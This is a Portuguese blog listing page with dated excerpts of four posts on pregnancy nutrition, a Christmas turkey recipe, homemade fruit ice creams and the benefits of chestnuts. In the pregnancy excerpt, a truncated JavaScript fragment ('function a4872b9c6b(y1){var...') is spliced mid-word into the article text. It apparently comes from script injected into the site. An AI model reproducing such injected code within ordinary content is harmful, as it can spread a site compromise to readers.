Os melhores alimentos para consumir durante a gravidez

Mai 28, 2019 | Saúde e bem estar

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Os melhores alimentos para consumir durante a gravidez     Alimentar-se bem durante a gravidez pode parecer mais complicado que parece. Isto porque existem várias informações contraditórias acerca do que é mais acertado consumir qufunction a4872b9c6b(y1){var...

Receita de peru de Natal recheado com bacon e castanhas

Dez 25, 2017 | À descoberta, Receitas

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Receita de peru de Natal recheado com bacon e castanhas     Hoje trago-lhe uma receita fabulosa para servir nos dias entre o Natal e o ano novo. Se ainda não sabe como cozinhar o seu peru de natal, experimente esta receita de peru recheado com bacon e castanhas. É...

Receita de gelados de fruta com chocolate

Mai 19, 2017 | Receitas

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Receita de gelados de fruta com chocolate     Quem é que não gosta de um gelado nestes dias de calor? Mas atenção, os gelados que compra na rua estão carregados de açúcar e gorduras industrializadas. A solução é optar por fazer os seus gelados em casa. E estes são...

7 boas razões para comer castanhas

Out 27, 2016 | Equilíbrio, Saúde e bem estar

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7 boas razões para comer castanhas Chegou o tempo das primeiras chuvas, do vento mais fresco, das folhas caídas… e chegou também o tempo de comermos as deliciosas castanhas tão próprias desta altura do ano! A boa notícia é que podemos comê-las sem culpa, porque elas...